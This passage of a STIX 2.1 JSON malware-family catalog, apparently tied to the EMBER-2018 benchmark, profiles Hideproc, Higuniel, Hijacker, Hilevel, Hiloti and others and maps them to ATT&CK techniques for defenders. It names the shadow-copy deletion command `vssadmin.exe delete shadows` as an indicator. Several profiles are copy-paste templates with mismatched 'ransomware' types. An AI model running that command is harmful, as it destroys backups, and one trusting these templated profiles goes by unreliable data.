loads a malicious driver (`.sys` file) into the Windows kernel space (`T1014`). This driver uses techniques like Direct Kernel Object Manipulation (DKOM) or API Hooking (intercepting calls to `ZwQuerySystemInformation`) to filter the results returned to user-mode applications (`T1562.001`). When the Task Manager asks the kernel for a list of running processes, the Hideproc rootkit intercepts the request and removes the attacker's malicious process from the list before returning the data. The malicious process is running, but the OS cannot see it.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is deep, persistent, and entirely hidden compromise. Host-based IoCs are extremely difficult to find from within the live OS. They often require specialized rootkit scanners (like GMER), memory forensics, or offline analysis of the hard drive. EDR systems may detect the initial loading of the unsigned or maliciously signed kernel driver (`T1553.006`), but once loaded, the rootkit can blind the EDR. Network IoCs remain critical, as the rootkit cannot hide the actual packets leaving the machine on the wire. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hideproc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hideproc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdf7968e-8703-559a-a0d4-f85774270432",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--097d680d-64f6-57f0-8a8f-f90172daac0a",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hideproc exhibits technique T1014 (Rootkit (Kernel-level evasion))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7598f3a1-9625-5d74-81ad-bf8e3b62729b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--097d680d-64f6-57f0-8a8f-f90172daac0a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hideproc exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b151a07-a7d6-5aff-a853-a67486f7f2c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--097d680d-64f6-57f0-8a8f-f90172daac0a",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hideproc exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control (Required to install driver))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--598a84bf-b94b-5e29-8942-c2610440f1c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1553.006: Subvert Trust Controls: Code Signing Policy Modification (Loading untrusted drivers)",
      "description": "MITRE ATT&CK Technique T1553.006 (Subvert Trust Controls: Code Signing Policy Modification (Loading untrusted drivers)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1553.006",
          "url": "https://attack.mitre.org/techniques/T1553/006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e474217c-0d3f-54a8-8f5a-4d6dd8aa2930",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--097d680d-64f6-57f0-8a8f-f90172daac0a",
      "target_ref": "attack-pattern--598a84bf-b94b-5e29-8942-c2610440f1c6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hideproc exhibits technique T1553.006 (Subvert Trust Controls: Code Signing Policy Modification (Loading untrusted drivers))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bc2aa7f1-2df3-561b-8ce5-4d654ebec227",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "High",
      "description": "<h3>Executive Summary</h3>\nThe \"High\" classification is a generic risk severity indicator utilized by heuristic antivirus engines and threat intelligence platforms. It is not a specific malware family, but rather a definitive flag indicating that an analyzed file or process exhibits behaviors fundamentally dangerous to the security and integrity of a system.\n\n<h3>Behavioral Context and Detection Mechanisms</h3>\nSecurity tools assign a \"High\" risk label when a file engages in activities that strongly correlate with destructive malware or advanced persistent threats (APTs), even if the file's static signature does not match a known database entry. Behaviors that trigger a \"High\" severity alert include:\n<ul>\n<li><strong>Ransomware Indicators:</strong> Rapid, mass encryption of files in user directories, or attempts to delete Volume Shadow Copies (`vssadmin.exe delete shadows`).</li>\n<li><strong>Privilege Escalation:</strong> Unauthorized attempts to exploit known local vulnerabilities (e.g., exploiting outdated drivers) to gain `SYSTEM` level access.</li>\n<li><strong>Defense Evasion:</strong> Actively attempting to terminate security processes, disable Windows Defender, or unhook user-mode APIs used by EDR solutions.</li>\n</ul>\n\n<h3>Risk Assessment and Incident Triage</h3>\nAn alert classified as \"High\" requires immediate, critical incident response. Unlike generic adware labels, a \"High\" detection indicates an active attempt to compromise the network, steal data, or cause significant operational disruption.\n\n<h3>Response and Eradication Strategy</h3>\n<ul>\n<li><strong>Immediate Containment:</strong> The endpoint triggering the \"High\" alert must be instantly severed from the corporate network, either physically or via network isolation features within the EDR platform, to halt lateral movement.</li>\n<li><strong>Forensic Capture:</strong> Capture a memory dump and disk image of the isolated endpoint for forensic analysis to determine the scope of the breach and identify the specific threat actor or malware family involved.</li>\n<li><strong>Threat Hunting:</strong> Utilize the behavioral indicators that triggered the alert (e.g., specific command-line arguments, dropped file paths) to conduct a proactive threat hunt across the entire enterprise environment.</li>\n</ul> (Observed samples in benchmark: 8,417)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HighRisk",
        "Risk.High",
        "Generic.High"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for High",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/high"
        }
      ],
      "labels": [
        "generic_detection",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd359168-ecb2-50a2-84c1-e79f0f7b2fbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc2aa7f1-2df3-561b-8ce5-4d654ebec227",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "High exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb14c574-508a-5b45-9da5-359a100dd06d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc2aa7f1-2df3-561b-8ce5-4d654ebec227",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "High exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b338f1e0-7a12-5280-b1dc-17faef885edc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc2aa7f1-2df3-561b-8ce5-4d654ebec227",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "High exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1893c890-a5dc-51a0-a509-0c1d2ed52292",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc2aa7f1-2df3-561b-8ce5-4d654ebec227",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "High exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1bca49e-c1aa-582f-ae52-4f6cf99c022a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc2aa7f1-2df3-561b-8ce5-4d654ebec227",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "High exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6da614d7-66b4-569e-a1fe-2cbae5b2967a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Higuniel",
      "description": "Trojan:Win32/Higuniel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Higuniel</b><br>To an end-user, a Higuniel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Higuniel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Higuniel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Higuniel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Higuniel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Higuniel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/higuniel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c9cc058-7027-5005-bcbd-170f05bad189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6da614d7-66b4-569e-a1fe-2cbae5b2967a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Higuniel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fc94961-4f60-52d0-8f20-0a60facec75c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6da614d7-66b4-569e-a1fe-2cbae5b2967a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Higuniel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e518f8d-0ebe-599a-9928-3b6fbf9ec73d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6da614d7-66b4-569e-a1fe-2cbae5b2967a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Higuniel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c4551dc-d45e-5f67-a322-5395483f7ada",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6da614d7-66b4-569e-a1fe-2cbae5b2967a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Higuniel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d101a4f7-4559-59e8-a3af-4981bb59e796",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6da614d7-66b4-569e-a1fe-2cbae5b2967a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Higuniel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--973238e5-5891-5de7-9255-174f45bcb4f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hijacker",
      "description": "Hijacker (cataloged across security vendors as BrowserModifier:Win32/Hijacker, Adware:Win32/Hijacker, and Trojan:Win32/Hijacker) is a widespread family of persistent browser manipulation programs and adware frameworks active since 2013. Designed to monetize web browsing sessions without user consent, Hijacker is distributed through pay-per-install software bundlers, fake software update prompts, and malicious browser extension marketplaces. Once executed on Windows, Hijacker makes deep modifications to browser preferences across Google Chrome, Mozilla Firefox, and Microsoft Edge. It forcibly alters default search engines, new tab pages, and start pages to redirect queries through affiliate monetization hubs. To prevent remediation, Hijacker modifies Windows Registry Group Policies (such as ExtensionInstallForcelist and HomepageLocation), displaying 'Managed by your organization' within Chrome to block user uninstall attempts. In addition to search hijacking, Hijacker injects banner advertisements into websites and monitors search queries and visited URLs to harvest tracking telemetry. (Observed samples in benchmark: 92)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Hijacker",
        "Adware:Win32/Hijacker",
        "Trojan:Win32/Hijacker",
        "Win32/Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hijacker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hijacker"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3eb50ddc-b910-5fb9-a2d4-2bd1b2aaa567",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973238e5-5891-5de7-9255-174f45bcb4f6",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hijacker exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ce0ba99-3fc3-5c14-ad84-4837a58bad5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973238e5-5891-5de7-9255-174f45bcb4f6",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hijacker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f135c61e-aa38-586b-92cb-7dd71a2f93d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973238e5-5891-5de7-9255-174f45bcb4f6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hijacker exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd8a01be-6b41-5cfb-acec-d22394fdf5e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973238e5-5891-5de7-9255-174f45bcb4f6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hijacker exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f72cca70-d6ac-508c-b80e-3154bf707367",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--973238e5-5891-5de7-9255-174f45bcb4f6",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hijacker exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1634efab-df34-551c-9d6a-05b29f85597f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hilevel",
      "description": "Trojan:Win32/Hilevel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hilevel</b><br>To an end-user, a Hilevel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hilevel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hilevel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hilevel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hilevel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hilevel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hilevel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d16530b5-b7a9-5282-89a6-3f74b7178cba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1634efab-df34-551c-9d6a-05b29f85597f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hilevel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6d877aa-206e-5bcb-9c24-186b01822b5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1634efab-df34-551c-9d6a-05b29f85597f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hilevel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1ea181c-602b-5774-9c97-cb2505b94752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1634efab-df34-551c-9d6a-05b29f85597f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hilevel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db0bbf4f-8b44-5b42-8084-c506c562ae9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1634efab-df34-551c-9d6a-05b29f85597f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hilevel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c889167-e581-5f35-93cb-5f3c972f2bf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1634efab-df34-551c-9d6a-05b29f85597f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hilevel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8bfbb79e-05fd-5493-9a30-b680e5bf93a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hiloti",
      "description": "Trojan:Win32/Hiloti is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hiloti</b><br>To an end-user, a Hiloti infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hiloti is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hiloti is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hiloti frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hiloti reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hiloti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hiloti"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4846fd2b-417b-5e9e-a4e9-798f704c46cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bfbb79e-05fd-5493-9a30-b680e5bf93a0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiloti exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b028ca18-5d74-5e1a-a11b-363d79ee275b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bfbb79e-05fd-5493-9a30-b680e5bf93a0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiloti exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac84bb8c-42d6-575c-b94d-5dd33f4d7a11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bfbb79e-05fd-5493-9a30-b680e5bf93a0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiloti exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebb0ad6e-4f92-5b42-956d-cae2b663da17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bfbb79e-05fd-5493-9a30-b680e5bf93a0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiloti exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60b238d2-4887-56d8-957c-fc5538e32f58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bfbb79e-05fd-5493-9a30-b680e5bf93a0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiloti exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af4169b6-2fb1-5db1-bd27-e11d84ef578f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Himera",
